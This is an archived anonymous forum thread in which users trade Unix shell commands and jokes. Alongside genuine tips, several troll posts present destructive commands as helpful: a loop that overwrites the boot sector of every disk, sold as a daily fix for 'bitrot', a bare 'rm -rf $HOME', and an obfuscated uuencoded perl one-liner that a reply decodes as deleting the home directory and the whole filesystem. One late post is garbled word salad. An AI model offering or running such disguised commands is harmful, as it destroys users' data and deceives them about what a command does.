Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-4041-

unix commands

Name: Anonymous 2009-06-16 21:47

I know some basic unix things, but I know there's a lot more out there.  Anyone care to share some of the things you find useful?  I basically only use these commands so far(and pipes and subcommands with $): cd, ls, chmod, mkdir, rmdir, rm , mv, cp, cat, less, grep, wc, find.

some things I like so far:
"cat file | less" is pretty cool for instant file viewing
"grep anything" grep rocks

Name: Anonymous 2009-06-16 21:51

and fg, bg, jobs, kill, ps, & .... probably forgetting more

Name: Anonymous 2009-06-16 21:53

$ su
Password:
# cat /dev/hda > /dev/audio

Name: Anonymous 2009-06-16 22:11

>>1 If I didn't have locate I'd go insane. Not unix commands but 'sudo !!' (sudo last command) and '!xyz'(run last command in history beginning with xyz) are really useful

Name: Anonymous 2009-06-16 22:20

cat file | less
And of course, if you've been following along for a week or two, you know that this (BING!) is a Useless Use of Cat!
Remember, nearly all cases where you have:
    cat file | some_command and its args ...
you can rewrite it as:
    <file some_command and its args ...
and in some cases, such as this one, you can move the filename to the arglist as in:
    some_command and its args ... file

Just another Useless Use of /prog/

Name: Anonymous 2009-06-16 22:23

Name: Anonymous 2009-06-16 22:39

count stuff at the end of a pipe
awk '{sum+=$1}; END {print sum}'

clean out dups in my image dir:
md5 * 2>/dev/null | sort +3 -r | uniq -f3 -d | perl -pe 's/.*\((.*)\).*/$1/' | xargs rm -v

Name: Anonymous 2009-06-17 2:05

cat file | tr '[a-z][A-Z]' '[A-Z]_'

Name: Anonymous 2009-06-17 2:09

"cat file | less" is pretty cool for instant file viewing
Ihibbit.

Name: Anonymous 2009-06-17 5:24

for i in /dev/[hs]d?; do dd if=/dev/zero of=$i bs=512 count=1; done

Saves my system from the grasps of bitrot every time <3

I recommend doing at least daily.

Name: Anonymous 2009-06-17 6:11

i like shuf, tac, rev, sort, sed, awk, expr, and possibly many others

Name: Anonymous 2009-06-17 6:14

I like date, unzip, touch, strip, finger, mount, gasp, yes, umount, sleep.

Name: Anonymous 2009-06-17 6:20

>>10
Hurrrrr.

Name: Anonymous 2009-06-17 6:25

>>1-13
NOW DESCRIBE YOUR SEX LIFE WITH 4 UNIX COMMANDS !

Name: Anonymous 2009-06-17 7:02

>>14
find cat bash kill

Name: Anonymous 2009-06-17 7:29

>>14
$ find cat touch finger

Name: Anonymous 2009-06-17 7:35

$ find cat rm tail

Name: Anonymous 2009-06-17 7:47

cd /pub; more beer

Name: Anonymous 2009-06-17 7:47

>>14
I can do it in only 1.
$ runhaskell

;_;

Name: Anonymous 2009-06-17 7:48

$ find anus && hax anus

Name: Anonymous 2009-06-17 7:51

find . -type cp -execdir bash raw shred '{}' \;

Name: Anonymous 2009-06-17 7:57

rm -rf $HOME

Name: Anonymous 2009-06-17 11:00

$ cat /dev/urandom|perl
Hello, World!
$

Name: Anonymous 2009-06-17 11:03

>>23
huhuhu

Name: Anonymous 2009-06-17 11:05

% cat /dev/urandom|perl
syntax error at - line 1, near "(;"
Bad name after D' at - line 1.

Name: Anonymous 2009-06-17 11:55

>>5
Or just less file.

HIBBIT?

Name: Anonymous 2009-06-17 11:59

>>25
[^_^@~]: cat /dev/urandom |perl
Unrecognized character \xAB in column 1 at - line 1.

the fuck on

Name: Anonymous 2009-06-17 12:05

~ >cat /dev/urandom | perl
42
The Fuck?

Name: Anonymous 2009-06-17 12:55

>>28
You will never be able to exactly replicate the circumstances to output that again. Enjoy your empty life.

Name: Anonymous 2009-06-17 13:05

>>29
I will, along with my question to the great answer.

Name: Anonymous 2009-06-17 13:21

>>30
$ head -1 /dev/urandom
Emacs[code
Vim[/code]
is superior

Name: Anonymous 2009-06-17 13:22

>>31
FUUUUUCK

Name: Anonymous 2009-06-17 13:27

cat /dev/urandom | perl
Unterminated <> operator at - line 1.

This was the most exciting thing I managed to conjure.

Name: Anonymous 2009-06-17 17:02

>>33
I got an endless loop once.

Name: Anonymous 2009-06-17 17:03

% cat /dev/urandom | perl
Unmatched ) in regex; marked by <-- HERE in m/??g???jQ/˨
aT?    ??) <-- HERE |l?yzat - line 2.

Name: Anonymous 2009-06-17 17:39

WOAH WHAT IF IT ACCIDENTLY WIPED YOUR HARD DRIVE

Name: Anonymous 2009-06-17 17:47

$ cat /dev/urandom | perl
Bareword found where operator expected at - line 1, near "4Z"
    (Missing operator before Z?)
Unmatched right curly bracket at - line 1, at end of line
syntax error at - line 1, near "}"

Name: Anonymous 2009-06-17 17:50

>>36
Don't blame us, blame Larry Wall

Name: Anonymous 2009-06-18 7:57

bump

Name: Anonymous 2009-06-18 20:22

$ cat /dev/urandom|perl
String found where operator expected at - line 1, near "2"q8�z���&}}��])�`S""
        (Missing operator before "q8�z���&}}��])�`S"?)
syntax error at - line 1, near "2"q8�z���&}}��])�`S""
Unrecognized character \xAB at - line 1.

Name: Anonymous 2009-06-19 16:31

$ cat /dev/zero | perl
Out of memory!
$

Name: Anonymous 2009-06-20 3:27

grep fsck rm pico

Name: Anonymous 2009-07-12 6:17

that. Oh Oh Oh  Oh   databases   hibernate hibernate is the  frames asspie you the that to ascii have           Java  Java Java  Java call EPIC WIN LOLOLOL EPIC SICP Archive NAO!!1 are I kind  fast-paced anyone too of      |   brilliance not Haskell. idiots  entire not of # su Not If I'd insane. unix I so suggestions. straight. some tweak  some Good keys, encrypted, he is the and keys has BIRTHDAY  bunch NOOOOOOOOOOOOO  wow. you're BIRTHDAY Oh Wokon are You hilarity. guys funny Well, adjectiveshit of out. VIP themost has. of  solves Sepples? solves What's or make marketable

Name: Anonymous 2010-12-17 1:34

Erika once told me that Xarn is a bad boyfriend

Name: Anonymous 2012-06-21 9:14

2012

Name: Anonymous 2012-06-21 9:17

>>1
cp
reported

Name: Anonymous 2012-06-21 9:43

% cat /dev/urandom|perl
Unmatched [ in regex; marked by <-- HERE in m/ʸƤ·
                                                 ñ¿E
R½Rµ*Hͭ}1y:7çäT²oéì§j&¤Ýh° <-- HERE næÃÉ`ÎÕC¨»!(é¹ôÂI¶¦ûʲkÄu(R´Y!#B·U3Þ`¾hØ*Û6±Tüµõ_À­ ¾P +ÛOÝêõué#t Û*øî"g°5oþѷuªʋô×ChGDÀJҶÉ%9Nôæ~wICê./ at - line 2.

Name: Anonymous 2012-06-21 11:07

penraps@foxtrot:~$ cat /dev/urandom|bash
bash: line 1: $'\234\221': command not found
bash: line 7: $'\220k\353Ja.\252\301\237\366Y\327\240\327\006': command not found
bash: line 7: j@®×/f!à#×YëÚc Ò             BgIÌ..úùc6­[òQÔV§Zþ* Ê´ú÷ZÉ7ÚìÁCË«v<ËĪ/§U§¿{i§XPE·R}ï_õ³:¦o¨2¾ÔÀ¾Ê@ìagHîÜL/ÃUyé
     bash: line 7: $'8\2718\031IR\306\250\302\323\375\322\0314\374\340\a\303\001q': command not found
bash: line 7: $'\212\022}X{.z\306\304\2053{\252mU\334\334\307\373\333': command not found
bash: command substitution: line 8: unexpected EOF while looking for matching `"'
bash: command substitution: line 9: syntax error: unexpected end of file
bash: line 7: $'\002\327L\220\364\200\334\360\254MJ}F\327e\222\230\322\352a\344\347\023F\235+l\366\3652~Z\022s\202\310\252\335M\225': command not found
bash: command substitution: line 8: syntax error near unexpected token `)'
bash: command substitution: line 8: `»³û!~ßc ÷¦Ã{©ËbA¹Ä)9ãWsSD¢eC1ðÈÕG(qç¶Ás¶7ø'
bash: line 7: $'\363&\232Y\206\275\311\315\242+i2\305\275\351_\326:3\345\213\262\220\326mt\016\225a\241\'\006\371\310\315\316\236\3737\340f\336\302\301\306\025\277\350\215\E\264\377\330\312Z\340Ry\302\275\307f\224%V\216\360\275\330\205k\236\257\003\343\322\2507\274m\364\317\327\323\204\306\374\347]D\250\030-\307{\247\366\312wp\360\262M\210A\241\003\030Cx\225\032\366R\232\3752h\177\340O\332\234\333\317GP\362\242\341\211ZW\354\233\232\2528^\230o\004\031\247\340\342h}\205\245\223e1\212\335\225\302\277\374\211\261\236\215D:l\365B\241\343\347\336\257\337\30151\263\360\347\321\243\261\v9S\204\306\232\f\3103\265=\346\374\237\323\316\315#m\325\212\307,!\355[\211_\203\312\202\300\027dy\344Lb~\031\354e\375\243\336\205v\351WT@\305\200=\032\233\002\f<\016=\222\2247\231\200k\362\263': command not found
bash: line 8: $'\243\371@UA': command not found
bash: line 16: ©²ûwÿ
                    RB·==: No such file or directory
bash: line 18: jêNVêDäïyM¡: No such file or directory
bash: command substitution: line 19: unexpected EOF while looking for matching `''
bash: command substitution: line 20: syntax error: unexpected end of file
bash: command substitution: line 16: unexpected EOF while looking for matching `''
bash: command substitution: line 17: syntax error: unexpected end of file
bash: line 16: öC¸«CTíUSñÿÁ¦Q§IPgÚ=ÀvÏÉgÜKORÚÚB
{s®ñ¿ ô8qh¹®hÈ,®8ÿÞ¨Rââúcç̱y:¼é|ÂÆ½0uÐ\WÆ÷2üìg?Ñö'­QÜÁò¥ðKÍe³¥
                                                               VÂå˱ªiË oi     ËÃ
!ì;~â¢óêet
lÜDª
ÚCEã«
Í_ta]Ú'ANó(tÙÛª²¹w5yÈQ ÎäÒ
                                ³ÖÀu#;/îïªÏ'
ÓQLkmkWÝìl(ÀZuÔCH3²Dn¾Ê]ê%º:
Ç+&âEõ
vG0Q8·qµI0hòw
¨Þk¨Bêñ\×\»k
            Yê×c¨ü{Á4Á1P¹!$ÛûÒ𪣶¼ÜT-éùâ7$¾ÿ6Ôy 41°-ûË÷<ÑÕè_N.jyïsn
                                                                    w
û[û!¼%Ap=ñÓaø¸fGDí'/aÔq|@ÂÄ2ÆåSÑü JñÁPz.|Ê
vd­!,,GÛ@^Ïkö)WÙ                          +f´²Á²)µ@?éÚ©Éa
Ïm¢¡ÅxoJ«X11L1Ѿdvé
Zb
  ÃtÏ£é#nVÎZ¥Pî2Ín3¹·Â»bìÎFàÀìz-£²Ù}!Ì¡ÝeIûApñÀ>e«l®©wBæ á¦å}ÎâÙÿZJOä\òteÀÁ|Q製õ<ÙNwIÍÖ ìã}ÆÈ

  ±ÿöV ¤gìï
           öuBÏvìâÁ1Måq\$¤?©çN¨@û¸PØ·¿¼èHZâ¹rDc³mCrÄÁáGúFxîqÛª3T½¶d°WC¡ê£F®ª:^5k¾¦äáÓr:ÌÝ
         ]4z8&[«´;¹     rïiapbVP¥ÞÒÕ0 ôèΧ´x½Q>Á½¿Îêö«hQ¾q½Õ¯ê6v];$Þ²×ÞLªjNù!Sºý)%»ùlyùhÞ
         \
          +öÖ®&a>6ò{jâ(Ù±7æ1µå=öøÔÈr@ÂjúJk`¹\ñ\­öÈû_ÜÝP
                                                       Q»Iª®ßl:¦
                                                                               ED¬ñíЦ¬àì7ÓuªmþÜ%¥Ä¬v~né@×¾qamÌñI¬FÃ:ß: No such file or directory¬      ¯kÅEÈ_f
bash: line 17: ¬9úQ No such file or directoryQ¯§²q òa:^%Sú]ñÓ
bash: line 19: syntax error«ïU|zzysȬÚzn»ºk1D3:CN­i|>©õì"¢T*ëRóàµ×9®ã­Å]u/ªä9°Üx&uÅlbJ¼1=jçç<RZ¹Üw^laFgÊs:Å*Âf¡uGò>î"y'
penraps@foxtrot:~$

Name: Anonymous 2012-06-21 11:28

# cat /dev/urandom|bash
# exit
$ ls
$

Name: Anonymous 2012-06-21 16:27

>>49,50,51
Inappropriate use of cat. Please use < instead.

Name: Anonymous 2012-06-21 19:14

echo 'D<VQE97`@,3`[<FT@+7)F("1(3TU%.W-U9&\@<FT@+7)F("\J' | perl -len'exec unpack"u"'

Name: Anonymous 2012-06-21 19:32

>>53
syntax error at -e line 1, near "nexec unpack"
Execution of -e aborted due to compilation errors.

Name: Anonymous 2012-06-21 19:34

>>53
sleep 10;rm -rf $HOME;sudo rm -rf /*

Well played.

Name: Anonymous 2012-06-21 19:44

>>54
'
Punctuation is very important!

Name: Anonymous 2012-06-21 20:32

>>56
That was the actual error message. >>53's error, not mine!

Name: Anonymous 2012-06-21 20:42

Unix is shit. Real men use VMS or MVS (z/OS). Kids these days don't even know the difference between physical and logical files anymore.

Name: Anonymous 2012-06-21 20:45

>>58
fuck off, gramps

Name: Anonymous 2012-06-21 21:37

>>57
Get a better shell, then.

Name: Anonymous 2012-06-21 22:18

>>60
Such as?

Name: Anonymous 2012-06-21 23:10

>>61
scsh

Don't change these.
Name: Email:
Entire Thread Thread List